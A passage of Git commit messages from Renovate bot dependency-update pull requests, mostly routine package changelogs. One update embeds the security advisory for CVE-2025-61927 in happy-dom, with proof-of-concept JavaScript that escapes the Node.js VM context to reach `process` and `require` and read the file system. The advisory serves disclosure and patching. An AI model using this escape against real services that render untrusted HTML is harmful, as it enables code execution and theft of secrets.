[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.36.0...v9.37.0 )
</details>
<details>
<summary>unjs/jiti (jiti)</summary>
### [`v2.6.1`](https://redirect.github.com/unjs/jiti/blob/HEAD/CHANGELOG.md#v261 )
[Compare Source](https://redirect.github.com/unjs/jiti/compare/v2.6.0...v2.6.1 )
[compare changes](https://redirect.github.com/unjs/jiti/compare/v2.6.0...v2.6.1 )
##### 🩹 Fixes
- **interop:** Only passthrough default if it is not a promise ([#​408](https://redirect.github.com/unjs/jiti/pull/408 ))
##### 📦 Build
- Revert to `terser-webpack-plugin` ([#​407](https://redirect.github.com/unjs/jiti/pull/407 ))
##### 🏡 Chore
- Update bench ([037c646](https://redirect.github.com/unjs/jiti/commit/037c646 ))
- Update deps ([974ca40](https://redirect.github.com/unjs/jiti/commit/974ca40 ))
- Remove unused code ([8b41497](https://redirect.github.com/unjs/jiti/commit/8b41497 ))
##### ❤️ Contributors
- Pooya Parsa ([@​pi0](https://redirect.github.com/pi0 ))
- Kricsleo ([@​kricsleo](https://redirect.github.com/kricsleo ))
</details>
<details>
<summary>streamich/memfs (memfs)</summary>
### [`v4.49.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4490-2025-10-06 )
[Compare Source](https://redirect.github.com/streamich/memfs/compare/v4.48.1...v4.49.0 )
##### Bug Fixes
- harden flaky watchFile test by adding proper timing delays ([092a1ba](https://redirect.github.com/streamich/memfs/commit/092a1ba09737246ceeb4c69628c2354d648cdab0 ))
##### Features
- handle stream reading past file size in FsaNodeReadStream ([2eac49b](https://redirect.github.com/streamich/memfs/commit/2eac49b1d6c490900a3ad183a725546aecfe360a ))
#### [4.48.1](https://redirect.github.com/streamich/memfs/compare/v4.48.0...v4.48.1 ) (2025-10-01)
##### Bug Fixes
- 🐛 throw EISDIR when writing over folder ([d20095e](https://redirect.github.com/streamich/memfs/commit/d20095e0c6476a4e01ffaed52e00ef5d09f9e444 ))
</details>
<details>
<summary>motiondivision/motion (motion)</summary>
### [`v12.23.24`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122324-2025-10-10 )
[Compare Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.23...v12.23.24 )
##### Fixed
- Ensure that when a component remounts, it continues to fire animations even when `initial={false}`.
### [`v12.23.23`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#122323-2025-10-10 )
[Compare Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.22...v12.23.23 )
##### Added
- Exporting `PresenceChild` and `PopChild` type for internal use.
</details>
<details>
<summary>eclipse/openvsx (ovsx)</summary>
### [`v0.10.6`](https://redirect.github.com/eclipse/openvsx/blob/HEAD/cli/CHANGELOG.md#v0106-Seo-2025 )
[Compare Source](https://redirect.github.com/eclipse/openvsx/compare/7dda317015782aea876bd730f7a9b0e9bffd90a7...0b5b657529f0784f7bc901fae39afc8df25a4389 )
##### Dependencies
- Upgrade `tar-fs` from `2.1.3` to `2.1.4` ([#​1353](https://redirect.github.com/eclipse/openvsx/pull/1353 ))
- Upgrade `tmp` from `0.2.3` to `0.2.4` ([#​1304](https://redirect.github.com/eclipse/openvsx/pull/1304 ))
- Upgrade `form-data` from `4.0.0` to `4.0.4` ([#​1291](https://redirect.github.com/eclipse/openvsx/pull/1291 ))
***
</details>
<details>
<summary>microsoft/playwright (playwright)</summary>
### [`v1.56.0`](https://redirect.github.com/microsoft/playwright/compare/v1.55.1...v1.56.0 )
[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.55.1...v1.56.0 )
</details>
<details>
<summary>pnpm/pnpm (pnpm)</summary>
### [`v10.18.2`](https://redirect.github.com/pnpm/pnpm/blob/HEAD/pnpm/CHANGELOG.md#10182 )
[Compare Source](https://redirect.github.com/pnpm/pnpm/compare/v10.18.1...v10.18.2 )
##### Patch Changes
- `pnpm outdated --long` should work [#​10040](https://redirect.github.com/pnpm/pnpm/issues/10040 ).
- Replace ndjson with split2. Reduce the bundle size of pnpm CLI [#​10054](https://redirect.github.com/pnpm/pnpm/pull/10054 ).
- `pnpm dlx` should request the full metadata of packages, when `minimumReleaseAge` is set [#​9963](https://redirect.github.com/pnpm/pnpm/issues/9963 ).
- pnpm version switching should work when the pnpm home directory is in a symlinked directory [#​9715](https://redirect.github.com/pnpm/pnpm/issues/9715 ).
- Fix `EPIPE` errors when piping output to other commands [#​10027](https://redirect.github.com/pnpm/pnpm/issues/10027 ).
### [`v10.18.1`](https://redirect.github.com/pnpm/pnpm/blob/HEAD/pnpm/CHANGELOG.md#10181 )
[Compare Source](https://redirect.github.com/pnpm/pnpm/compare/v10.18.0...v10.18.1 )
##### Patch Changes
- Don't print a warning, when `--lockfile-only` is used [#​8320](https://redirect.github.com/pnpm/pnpm/issues/8320 ).
- `pnpm setup` creates a command shim to the pnpm executable. This is needed to be able to run `pnpm self-update` on Windows [#​5700](https://redirect.github.com/pnpm/pnpm/issues/5700 ).
- When using pnpm catalogs and running a normal `pnpm install`, pnpm produced false positive warnings for "*skip adding to the default catalog because it already exists*". This warning now only prints when using `pnpm add --save-catalog` as originally intended.
</details>
<details>
<summary>publint/publint (publint)</summary>
### [`v0.3.14`](https://redirect.github.com/publint/publint/blob/HEAD/packages/publint/CHANGELOG.md#0314 )
[Compare Source](https://redirect.github.com/publint/publint/compare/publint@0.3.13...publint@0.3.14 )
##### Patch Changes
- Add a new warning when an entrypoint is exported as CJS-only, has a default export, and has the `__esModule` marker. This setup has different interpretations by bundlers and runtimes, and implicit handling detection that may not be obvious for both package authors and users, hence it is discouraged. ([#​201](https://redirect.github.com/publint/publint/pull/201 ))
</details>
<details>
<summary>ramda/ramda (ramda)</summary>
### [`v0.32.0`](https://redirect.github.com/ramda/ramda/releases/tag/v0.32.0 )
[Compare Source](https://redirect.github.com/ramda/ramda/compare/v0.31.3...v0.32.0 )
[upgrade guide](https://redirect.github.com/ramda/ramda/issues/3524 )
</details>
<details>
<summary>rolldown/rolldown (rolldown)</summary>
### [`v1.0.0-beta.42`](https://redirect.github.com/rolldown/rolldown/blob/HEAD/CHANGELOG.md#100-beta42---2025-10-07 )
[Compare Source](https://redirect.github.com/rolldown/rolldown/compare/v1.0.0-beta.41...v1.0.0-beta.42 )
##### 🚀 Features
- rolldown: oxc v0.94.0 ([#​6428](https://redirect.github.com/rolldown/rolldown/issues/6428 )) by [@​Boshen](https://redirect.github.com/Boshen )
- add CLI environment flag ([#​6426](https://redirect.github.com/rolldown/rolldown/issues/6426 )) by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- dev: use `RebuildStrategy#Auto` by default ([#​6420](https://redirect.github.com/rolldown/rolldown/issues/6420 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rolldown\_plugin\_vite\_html: introduce html plugin state ([#​6413](https://redirect.github.com/rolldown/rolldown/issues/6413 )) by [@​shulaoda](https://redirect.github.com/shulaoda )
- dev: expose build errors via `DevOptions#on_output` ([#​6412](https://redirect.github.com/rolldown/rolldown/issues/6412 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- dev: add binding for `DevOptions#rebuild_strategy` ([#​6396](https://redirect.github.com/rolldown/rolldown/issues/6396 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- dev: add `RebuildStrategy::Auto` to issue rebuild automatically if detecting full reload hmr update ([#​6395](https://redirect.github.com/rolldown/rolldown/issues/6395 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- debug: inject `call_id` for `renderChunk` hook ([#​6392](https://redirect.github.com/rolldown/rolldown/issues/6392 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- node/dev: add `DevEngine#close` ([#​6377](https://redirect.github.com/rolldown/rolldown/issues/6377 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rust/dev: add `DevEngine#close` ([#​6376](https://redirect.github.com/rolldown/rolldown/issues/6376 )) by [@​hyf0](https://redirect.github.com/hyf0 )
##### 🐛 Bug Fixes
- rolldown\_plugin\_react\_refresh\_wrapper: register exports in next microtask ([#​6423](https://redirect.github.com/rolldown/rolldown/issues/6423 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- plugin/vite-resolve: try original extension before replacing with TS variants ([#​6421](https://redirect.github.com/rolldown/rolldown/issues/6421 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- node/resolve: take custom package json path into account ([#​6419](https://redirect.github.com/rolldown/rolldown/issues/6419 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- dev: call `watchChange` hook ([#​6403](https://redirect.github.com/rolldown/rolldown/issues/6403 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- use minify options for DCE for dce-only minify ([#​6402](https://redirect.github.com/rolldown/rolldown/issues/6402 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- respect package.json type field in plugin-resolved modules ([#​6400](https://redirect.github.com/rolldown/rolldown/issues/6400 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- returning result of this.resolve in resolveDynamicImport hook impacts bundle size ([#​6397](https://redirect.github.com/rolldown/rolldown/issues/6397 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- rolldown\_plugin\_json: avoid generating named exports for `eval` and `arguments` ([#​6381](https://redirect.github.com/rolldown/rolldown/issues/6381 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- use static property for namespace object ([#​6383](https://redirect.github.com/rolldown/rolldown/issues/6383 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### 🚜 Refactor
- rust: improve constuction of `PackageJson` and remove unused fields ([#​6418](https://redirect.github.com/rolldown/rolldown/issues/6418 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- introduce `BindingResult` to pass errors from rust to js ([#​6390](https://redirect.github.com/rolldown/rolldown/issues/6390 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rust: rename eager\_rebuild to rebuild\_strategy with enum ([#​6394](https://redirect.github.com/rolldown/rolldown/issues/6394 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rust/binding: use `BindingError` to cover `JsError` and `NativeError` ([#​6388](https://redirect.github.com/rolldown/rolldown/issues/6388 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rust/binding: rename `BindingError` to `NativeError` ([#​6387](https://redirect.github.com/rolldown/rolldown/issues/6387 )) by [@​hyf0](https://redirect.github.com/hyf0 )
##### 📚 Documentation
- tweak built-in transforms section ([#​6384](https://redirect.github.com/rolldown/rolldown/issues/6384 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### ⚡ Performance
- dev: avoid frequent `setTimeout` -> `clearTimeout` ([#​6375](https://redirect.github.com/rolldown/rolldown/issues/6375 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### 🧪 Testing
- hmr: include generated bundle for full reloads in snapshots ([#​6374](https://redirect.github.com/rolldown/rolldown/issues/6374 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- dev: add test about doing hmr with not being affected by not executed modules ([#​6360](https://redirect.github.com/rolldown/rolldown/issues/6360 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- hmr: hmr patch file generation for `this.addWatchFile` ([#​5219](https://redirect.github.com/rolldown/rolldown/issues/5219 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### ⚙️ Miscellaneous Tasks
- deps: update crate-ci/typos action to v1.38.0 ([#​6431](https://redirect.github.com/rolldown/rolldown/issues/6431 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update crate-ci/typos action to v1.37.3 ([#​6429](https://redirect.github.com/rolldown/rolldown/issues/6429 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: lock file maintenance npm packages ([#​6417](https://redirect.github.com/rolldown/rolldown/issues/6417 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update github-actions ([#​6414](https://redirect.github.com/rolldown/rolldown/issues/6414 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- rust/test: sensible heading level for build snapshot of config variant ([#​6408](https://redirect.github.com/rolldown/rolldown/issues/6408 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rust/test: introduce `SnapshotSection` to organize snapshot content ([#​6407](https://redirect.github.com/rolldown/rolldown/issues/6407 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rust/test: extract `ArtifactsSnapshot` and `BuildRoundOutput` into standalone files ([#​6406](https://redirect.github.com/rolldown/rolldown/issues/6406 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- rust/test: introduce `ArtifactsSnapshot` to make generating snapshot more clear ([#​6405](https://redirect.github.com/rolldown/rolldown/issues/6405 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- deps: update crate-ci/typos action to v1.37.2 ([#​6409](https://redirect.github.com/rolldown/rolldown/issues/6409 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- fix `GitHub` casing ([#​6401](https://redirect.github.com/rolldown/rolldown/issues/6401 )) by [@​iiio2](https://redirect.github.com/iiio2 )
- rust: remove unused `rolldown_binding_watcher` crate ([#​6386](https://redirect.github.com/rolldown/rolldown/issues/6386 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- deps: update crate-ci/typos action to v1.37.1 ([#​6391](https://redirect.github.com/rolldown/rolldown/issues/6391 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- node: rename `normalizeErrors` into `aggregateBindingErrorsIntoError` ([#​6389](https://redirect.github.com/rolldown/rolldown/issues/6389 )) by [@​hyf0](https://redirect.github.com/hyf0 )
- fix typos ([#​6382](https://redirect.github.com/rolldown/rolldown/issues/6382 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- deps: update dependency tsdown to v0.15.6 ([#​6379](https://redirect.github.com/rolldown/rolldown/issues/6379 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update crate-ci/typos action to v1.37.0 ([#​6380](https://redirect.github.com/rolldown/rolldown/issues/6380 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update dependency rolldown-plugin-dts to v0.16.11 ([#​6378](https://redirect.github.com/rolldown/rolldown/issues/6378 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
- add comment to `add_watch_file` that the path should be a normalized absolute path ([#​6371](https://redirect.github.com/rolldown/rolldown/issues/6371 )) by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- deps: update dependency rolldown-plugin-dts to v0.16.10 ([#​6373](https://redirect.github.com/rolldown/rolldown/issues/6373 )) by [@​renovate](https://redirect.github.com/renovate )\[bot]
</details>
<details>
<summary>rolldown/tsdown (tsdown)</summary>
### [`v0.15.6`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.15.6 )
[Compare Source](https://redirect.github.com/rolldown/tsdown/compare/v0.15.5...v0.15.6 )
##### 🐞 Bug Fixes
- **watch**: Watch relative files - by [@​sxzz](https://redirect.github.com/sxzz ) [<samp>(afeab)</samp>](https://redirect.github.com/rolldown/tsdown/commit/afeab8c )
##### [View changes on GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.15.5...v0.15.6 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions ) if that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
2025-10-13 02:58:40 +00:00
renovate[bot]
a631dd7723
chore(deps): update dependency happy-dom to v20 [security] ( #14492 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom ) |
[`^19.0.0` ->
`^20.0.0`](https://renovatebot.com/diffs/npm/happy-dom/19.0.2/20.0.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
### GitHub Vulnerability Alerts
####
[CVE-2025-61927](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-37j7-fg3j-429f )
# Escape of VM Context gives access to process level functionality
## Summary
Happy DOM v19 and lower contains a security vulnerability that puts the
owner system at the risk of RCE (Remote Code Execution) attacks.
A Node.js VM Context is not an isolated environment, and if the user
runs untrusted JavaScript code within the Happy DOM VM Context, it may
escape the VM and get access to process level functionality.
What the attacker can get control over depends on if the process is
using ESM or CommonJS. With CommonJS the attacker can get hold of the
`require()` function to import modules.
Happy DOM has JavaScript evaluation enabled by default. This may not be
obvious to the consumer of Happy DOM and can potentially put the user at
risk if untrusted code is executed within the environment.
## Reproduce
### CommonJS (Possible to get hold of require)
```javascript
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
const require = process.mainModule.require;
console.log('Files:', require('fs').readdirSync('.').slice(0,3));
</script>
`);
```
### ESM (Not possible to get hold of import or require)
```javascript
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
console.log('PID:', process.pid);
</script>
`);
```
## Potential Impact
#### Server-Side Rendering (SSR)
```javascript
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;
```
#### Testing Frameworks
Any test suite using Happy-DOM with untrusted content may be at risk.
## Attack Scenarios
1. **Data Exfiltration**: Access to environment variables, configuration
files, secrets
2. **Lateral Movement**: Network access for connecting to internal
systems. Happy DOM already gives access to the network by fetch, but has
protections in place (such as CORS and header validation etc.).
3. **Code Execution**: Child process access for running arbitrary
commands
4. **Persistence**: File system access
## Recommended Immediate Actions
1. Update Happy DOM to v20 or above
- This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an
insecure environment
2. Run Node.js with the "--disallow-code-generation-from-strings" if you
need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to
escape the VM
- `eval()` and `Function()` can still be used within the Happy DOM VM
without any known security risk
- Happy DOM v20 and above will output a warning if this flag is not in
use
4. If you can't update Happy DOM right now, it's recommended to disable
JavaScript evaluation, unless you completely trust the content within
the environment
## Technical Root Cause
All classes and functions inherit from
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function ).
By walking the constructor chain it's possible to get hold of
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function )
at process level. As
[Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function )
can evaluate code from strings, it's possible to execute code at process
level.
Running Node with the "--disallow-code-generation-from-strings" flag
protects against this.
---
### Release Notes
<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>
###
[`v20.0.0`](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.2...819d15ba289495439eda8be360d92a614ce22405 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.2...v20.0.0 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone Asia/Shanghai,
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-11 01:38:23 +00:00
renovate[bot]
502a2f8df2
chore(deps): lock file maintenance npm packages ( #14363 )
2025-10-06 21:45:39 +08:00
renovate[bot]
49d14e2618
chore(deps): update dependency happy-dom to v19 ( #14359 )
...
> [!NOTE]
> Mend has cancelled [the proposed
renaming](https://redirect.github.com/renovatebot/renovate/discussions/37842 )
of the Renovate GitHub app being renamed to `mend[bot]`.
>
> This notice will be removed on 2025-10-07.
<hr>
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom ) |
[`^18.0.0` ->
`^19.0.0`](https://renovatebot.com/diffs/npm/happy-dom/18.0.1/19.0.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
---
### Release Notes
<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>
###
[`v19.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.2 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.1...v19.0.2 )
##### :construction\_worker\_man: Patch fixes
- Fixes issue related to CSS pseudo selector `:scope` that didn't work
correctly for direct descendants to root - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1620](https://redirect.github.com/capricorn86/happy-dom/issues/1620 )
###
[`v19.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.1 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.0...v19.0.1 )
##### :construction\_worker\_man: Patch fixes
- Fixes issue with sending in URLs as string in
`@happy-dom/server-renderer` config using CLI - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1908](https://redirect.github.com/capricorn86/happy-dom/issues/1908 )
###
[`v19.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.0 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v18.0.1...v19.0.0 )
##### 💣 Breaking Changes
- Removes support for CommonJS - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Support for CommonJS is no longer needed as Node.js v18 is deprecated
and v20 and above supports loading ES modules from CommonJS using
`require()`
- Updates Jest to v30 in the `@happy-dom/jest-environment` package - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Makes Jest packages peer dependencies to make it easier to align
versions with the project using `@happy-dom/jest-environment` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
##### 🎨 Features
- Adds a new package called `@happy-dom/server-renderer` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- This package provides a simple way to statically render (SSG) or
server-side render (SSR) your client-side application
- Read more in the Wiki under
[Server-Renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer )
- Adds support for `import.meta` to the ESM compiler - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for the CSS pseudo selector `:scope` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1620](https://redirect.github.com/capricorn86/happy-dom/issues/1620 )
- Improves support for `MediaList` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for `CSSKeywordValue`, `CSSStyleValue`,
`StylePropertyMap`, `StylePropertyMap`, `StylePropertyMapReadOnly` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Improves debug information in the ESM compiler - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds validation of browser settings when creating a new `Browser`
instance - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for the browser setting
[navigation.beforeContentCallback](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings )
which makes it possible to inject event listeners or logic before
content is loaded to the document when navigating a browser frame - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for the browser setting
[fetch.requestHeaders](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings )
which provides with a declarative and simple way to add request headers
- By **[@​capricorn86](https://redirect.github.com/capricorn86 )**
in task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for setting an object to
[timer.preventTimerLoops](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings )
which makes it possible to define different settings for `setTimeout()`
and `requestAnimationFrame()` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for the browser setting
[viewport](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings )
which makes it possible to define a default viewport size - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for the parameters `beforeContentCallback` and `headers`
to `BrowserFrame.goto()`, `BrowserFrame.goBack()`,
`BrowserFrame.goForward()`, `BrowserFrame.goSteps()` and
`BrowserFrame.reload()` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for `PopStateEvent` and trigger the event when navigating
the page history using `History.pushState()` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Use local file paths for virtual server files in stack traces - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds support for `ResponseCache.fileSystem.load()` and
`ResponseCache.fileSystem.save()` for storing and loading cache from the
file system - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
##### :construction\_worker\_man: Patch fixes
- Fixes a bug in the ESM compiler that caused it to fail to parse
certain code - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Disables the same origin policy when navigating a browser frame using
`BrowserFrame.goto()` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Fixes bug where CSS selectors with the pseudos "+" and ">" failed for
selectors without arguments - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
- Adds try and catch to listeners for events dispatched from
`XMLHttpRequest` to prevent it from being set to an invalid state if a
listener throws an Error - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzEuOSIsInVwZGF0ZWRJblZlciI6IjQxLjEzMS45IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-05 21:29:15 +00:00
renovate[bot]
24dc6ac140
chore(deps): lock file maintenance npm packages ( #14216 )
...
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842 ).
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing |
Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [@modelcontextprotocol/sdk](https://modelcontextprotocol.io )
([source](https://redirect.github.com/modelcontextprotocol/typescript-sdk ))
| dependencies | patch | [`1.18.1` ->
`1.18.2`](https://renovatebot.com/diffs/npm/@modelcontextprotocol%2fsdk/1.18.1/1.18.2 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [memfs](https://redirect.github.com/streamich/memfs ) | devDependencies
| minor | [`4.43.0` ->
